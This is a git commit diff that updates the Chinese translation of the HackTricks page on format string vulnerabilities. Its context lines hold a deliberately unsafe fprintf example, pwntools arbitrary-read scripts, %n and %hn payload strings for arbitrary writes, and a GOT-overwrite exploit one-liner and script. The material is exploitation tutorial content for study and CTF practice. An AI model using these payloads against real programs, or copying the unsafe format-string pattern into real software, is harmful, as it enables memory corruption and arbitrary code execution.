mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['binary-exploitation/format-strings/README.md'] to cn
This commit is contained in:
parent
a2d49f8ee9
commit
aa07f834f3
1 changed files with 17 additions and 17 deletions
|
@ -1,4 +1,4 @@
|
||||||
# 格式字符串
|
# Format Strings
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -21,7 +21,7 @@
|
||||||
|
|
||||||
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
其他易受攻击的函数包括 **`sprintf()`** 和 **`fprintf()`**。
|
||||||
|
|
||||||
当 **攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 中的 **任何数据**。这样就能够 **执行任意代码**。
|
当 **攻击者的文本作为该函数的第一个参数** 时,就会出现漏洞。攻击者将能够构造一个 **特殊输入,利用** **printf 格式** 字符串的能力来读取和 **写入任何地址(可读/可写)** 的 **任何数据**。这样就能够 **执行任意代码**。
|
||||||
|
|
||||||
#### 格式化符:
|
#### 格式化符:
|
||||||
```bash
|
```bash
|
||||||
|
@ -47,7 +47,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||||
int value = 1205;
|
int value = 1205;
|
||||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||||
```
|
```
|
||||||
* 缺少参数:
|
* 缺失参数:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||||
```
|
```
|
||||||
|
@ -59,14 +59,14 @@ int main(int argc, char *argv[]) {
|
||||||
char *user_input;
|
char *user_input;
|
||||||
user_input = argv[1];
|
user_input = argv[1];
|
||||||
FILE *output_file = fopen("output.txt", "w");
|
FILE *output_file = fopen("output.txt", "w");
|
||||||
fprintf(output_file, user_input); // The user input cna include formatters!
|
fprintf(output_file, user_input); // The user input can include formatters!
|
||||||
fclose(output_file);
|
fclose(output_file);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### **访问指针**
|
### **访问指针**
|
||||||
|
|
||||||
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,您可以这样做:
|
格式 **`%<n>$x`**,其中 `n` 是一个数字,允许指示 printf 选择第 n 个参数(来自栈)。因此,如果您想使用 printf 读取栈中的第 4 个参数,可以这样做:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x %x")
|
printf("%x %x %x %x")
|
||||||
```
|
```
|
||||||
|
@ -86,7 +86,7 @@ printf("$4%x")
|
||||||
|
|
||||||
## **任意读取**
|
## **任意读取**
|
||||||
|
|
||||||
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其作为字符串打印**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第 4 个位置开始,则可以使用以下方式打印二进制文件的开头:
|
可以使用格式化符 **`%n$s`** 使 **`printf`** 获取位于 **n 位置** 的 **地址**,并 **将其作为字符串打印**(打印直到找到 0x00)。因此,如果二进制文件的基地址是 **`0x8048000`**,并且我们知道用户输入从栈的第四个位置开始,则可以使用以下方式打印二进制文件的开头:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -100,7 +100,7 @@ p.sendline(payload)
|
||||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||||
```
|
```
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾被截断为 0x00。
|
请注意,您不能将地址 0x8048000 放在输入的开头,因为字符串将在该地址的末尾以 0x00 结束。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 查找偏移量
|
### 查找偏移量
|
||||||
|
@ -145,22 +145,22 @@ p.close()
|
||||||
任意读取可以用于:
|
任意读取可以用于:
|
||||||
|
|
||||||
* **从内存中转储** **二进制文件**
|
* **从内存中转储** **二进制文件**
|
||||||
* **访问存储敏感** **信息**的内存特定部分(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
* **访问存储敏感信息的内存特定部分**(如金丝雀、加密密钥或自定义密码,如在这个 [**CTF 挑战**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) 中)
|
||||||
|
|
||||||
## **任意写入**
|
## **任意写入**
|
||||||
|
|
||||||
格式化器 **`$<num>%n`** **在** **指定地址**中写入**已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`$<num>%n`** 在任意地址写入任意数字。
|
格式化器 **`$<num>%n`** **在** **指定地址** 中写入 **已写入字节的数量**,该地址在栈中的 \<num> 参数中。如果攻击者可以使用 printf 写入任意数量的字符,他将能够使 **`$<num>%n`** 在任意地址写入任意数字。
|
||||||
|
|
||||||
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",为了做到这一点,可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址**中写入数字 **`<num-write>`**。
|
幸运的是,要写入数字 9999,并不需要在输入中添加 9999 个 "A",因此可以使用格式化器 **`%.<num-write>%<num>$n`** 在 **`num` 位置指向的地址** 中写入数字 **`<num-write>`**。
|
||||||
```bash
|
```bash
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2 字节,另一次写入低 2 字节。
|
然而,请注意,通常为了写入一个地址,例如 `0x08049724`(这是一个一次性写入的巨大数字),**使用的是 `$hn`** 而不是 `$n`。这允许**只写入 2 字节**。因此,这个操作需要进行两次,一次写入地址的高 2B,另一次写入低 2B。
|
||||||
|
|
||||||
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
因此,这个漏洞允许**在任何地址写入任何内容(任意写入)。**
|
||||||
|
|
||||||
在这个例子中,目标是**覆盖**一个**函数**在**GOT**表中的**地址**,该函数将在稍后被调用。尽管这可以滥用其他任意写入到执行的技术:
|
在这个例子中,目标是**覆盖**一个**函数**在**GOT**表中的**地址**,该函数将在稍后被调用。尽管这可以利用其他任意写入到执行的技术:
|
||||||
|
|
||||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||||
|
@ -172,7 +172,7 @@ AAAA.%500\$08x —> Param at offset 500
|
||||||
* **HOB** 被调用为地址的 2 个高字节
|
* **HOB** 被调用为地址的 2 个高字节
|
||||||
* **LOB** 被调用为地址的 2 个低字节
|
* **LOB** 被调用为地址的 2 个低字节
|
||||||
|
|
||||||
然后,由于格式字符串的工作方式,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
|
然后,由于格式字符串的工作原理,您需要**首先写入较小的** \[HOB, LOB],然后写入另一个。
|
||||||
|
|
||||||
如果 HOB < LOB\
|
如果 HOB < LOB\
|
||||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||||
|
@ -190,13 +190,13 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||||
|
|
||||||
### Pwntools 模板
|
### Pwntools 模板
|
||||||
|
|
||||||
您可以在以下位置找到用于准备此类漏洞的**模板**:
|
您可以在以下位置找到准备此类漏洞利用的**模板**:
|
||||||
|
|
||||||
{% content-ref url="format-strings-template.md" %}
|
{% content-ref url="format-strings-template.md" %}
|
||||||
[format-strings-template.md](format-strings-template.md)
|
[format-strings-template.md](format-strings-template.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
或者可以从[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)找到这个基本示例:
|
或者这个基本示例来自[**这里**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
@ -240,8 +240,8 @@ p.interactive()
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue